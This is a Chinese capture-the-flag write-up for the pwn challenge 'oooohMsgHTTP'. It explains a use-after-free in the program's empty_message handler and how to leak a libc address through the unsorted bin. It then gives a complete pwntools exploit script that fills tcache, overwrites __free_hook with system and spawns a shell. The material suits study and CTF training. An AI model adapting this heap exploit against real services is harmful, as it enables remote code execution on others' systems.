参考网上大神写的wp进行复现,根据自己的理解写的一篇笔记,一些知识理解错了的话请见谅
首先check以下,保护全开,程序需要构造如下http请求才能进行交互
看ida代码,找到他的构造方法的地方,通过查看每个方法的代码(看了好久的代码,以及很多时间去调试),可以知道程序提供如下交互分别是:
(1)ping 无实质效用
(2)welcome 泄露自身的函数的地址,减去在ida上的text段地址,可以暴露pie的地址,用于debug(其实也没什么用处)
(3)login_user 登陆用户(前提是用户已经进行注册)
(4)register_user 注册用户 并为该用户分配空间,用于记录他的msg情况
(5)add_message 添加msg(需本人user登录),并返回一个secret用于后续操作该mag,需要设置size和content 该操作分配堆块,堆块大小以实际的content为准,size只是一个伪数值
(6)del_message 删除msg(需本人user登录),根据secret删除对应堆块
(7)get_message 获取另一个user的msg(需登录一个新的user去获取msg),将对应的msg读到一个地方,用于show 该操作会把msg的堆块地址读入一个全局变量(ptr)进行记录,因此每次只能get一条msg,再get会被替换掉
(8)edit_message 修改msg(需本人user登录)
(9)logout_user 注销user,会把prt的数据清空 无实质作用
(10)exit 退出程序 无实质作用
(11)empty_message 清空msg信息, free掉ptr上保存的堆块,但并未将其他user的指针释放掉,这里就是本题漏洞——user2通过empty方法把user1上的msg1释放掉了,但是user1仍然拥有msg1的地址,通过secret可以控制msg1的内容,从而实现UAF
(12)show_message 打印ptr存放的msg信息 可以用于泄露unsoreted bin地址
详细分析过程主要都是看每个方法的功能,以及调试看堆,废话不多说直接上解题思路
(1)通过user1的add操作,和user2的get-empty-get操作,然后show把unsorted bin的地址泄露出来
这里主要是get-empty-get操作,因为empty并未释放掉user1指向msg的权限,所以再次使用get还是可以拿到msg的地址,从show将其泄露出来
但是有另一个难处,add函数限制的size的大小(0xff),content的长度也限制了(小于size),所以需要通过反复add和delete把tcache bins填满
(这里需要不断尝试,因为上面(1)-(12)每一个方法都会有malloc和free的产生,无法根据平常的逻辑去实现),
最后调试如上面的代码所示,分配10个0x90堆块,删除9个,把tcache填满,然后通过get-empty-get实现地址泄露
(2)第二步就是构造UAF,同(1),需要反复add和delete,才能保证tcache上的bins链不会被用完
原理就是通过user2的get-empty释放掉堆块,再通过user1的edit方法把__free_hook写进去,然后通过add把system写入__free_hook中,实现UAF
注意,UAF用了0x30的堆块,所以需要-0x10的偏移,不要用0x20堆块,因为add、delete方法读参数时会产生大量的0x20堆块把我们的堆块给占用。
(尽量少用login_user、logout_user、show_message等无关方法,这些方法都会把堆给占用了)
WP如下:
# -*- coding: utf-8 -*-
from pwn import *
import time
from ctypes import *
context.log_level = 'debug'
# context.terminal=['tmux','splitw','-h']
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
def ms(name,addr):
print name + "---->" + hex(addr)
def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))
def exec_fmt(payload):
p.sendline(payload)
info=p.recv()
return info
local = 1
file = "./oooohMsgHTTP"
elf = ELF(file)
if local:
p = process(file)
libc = elf.libc
#p =process([file],env={"LD_PRELOAD":"./libc-2.27.so"})
#libc = ELF('./libc-2.27.so')
else:
p = remote('111.200.241.244',53863)
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('./libc.so.6')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
slaf = lambda s1,s2 : p.sendlineafter(s1,s2)
sdaf = lambda s1,s2 : p.sendafter(s1,s2)
def ping():
sl("GET /ping HTTP/1.1")
def welcome():
sl("GET /welcome HTTP/1.1")
ru("Here is my gift: ")
address = int(ru("\n")[:-1],16)
print "PIE is : " + hex(address-0x1470)
def login_user(username,password):
sl("POST /login_user HTTP/1.1\nusername={}&password={}".format(username,password))
def register_user(username,password):
sl("POST /register_user HTTP/1.1\nusername={}&password={}".format(username,password))
def add_message(size,message):
sl("POST /add_message HTTP/1.1\nsize={}&message={}".format(size,message))
ru('{"secret":')
secret = ru(",")[:-1]
return secret
def del_message(message_id):
sl("POST /del_message HTTP/1.1\nmessage_id={}".format(message_id))
def get_message(secret):
sl("POST /get_message HTTP/1.1\nsecret={}".format(secret))
def edit_message(message,secret):
sl("POST /edit_message HTTP/1.1\nsecret={}&message={}".format(secret,message))
def logout_user():
sl("POST /logout_user HTTP/1.1\nis_confirmed=yes")
def exit():
sl("POST /exit HTTP/1.1\nis_confirmed=yes")
def empty_message():
sl("POST /empty_message HTTP/1.1\nis_confirmed=yes")
def show_message():
sl("POST /show_message HTTP/1.1\n")
def add(size,content):
secret.append(add_message(size,content))
def edit(index,content):
edit_message(content,secret[index])
def delete(index):
del_message(index)
def get_msg(index):
get_message(secret[index])
#*******init**********#
register_user("aaa","123")
register_user("bbb","123")
secret=[]
login_user("aaa","123")
for i in range(10):
add(0x80,'a'*0x80)
for i in range(9):
delete(i)
login_user("bbb","123")
get_msg(9)
empty_message()
get_msg(9)
show_message()
ru('"message":"')
libc_base = u64(ru('"')[:-1].ljust(0x8,"\x00")) - 0x3ebd20
system = libc_base + libc.sym["system"]
__free_hook = libc_base + libc.sym["__free_hook"]
print "libc_base is : " + hex(libc_base)
print "system is : " + hex(system)
print "__free_hook is : " + hex(__free_hook)
login_user("aaa","123")
secret=[]
for i in range(4):
add(0xff,'a'*0x18)
for i in range(3):
delete(i)
login_user("bbb","123")
get_msg(3)
empty_message()
login_user("aaa","123")
edit(3,p64(__free_hook-0x10))
add(0xff,'a'*0x18)
add(0xff,'a'*0x10+p64(system))
login_user("/bin/sh","/bin/sh")
p.interactive()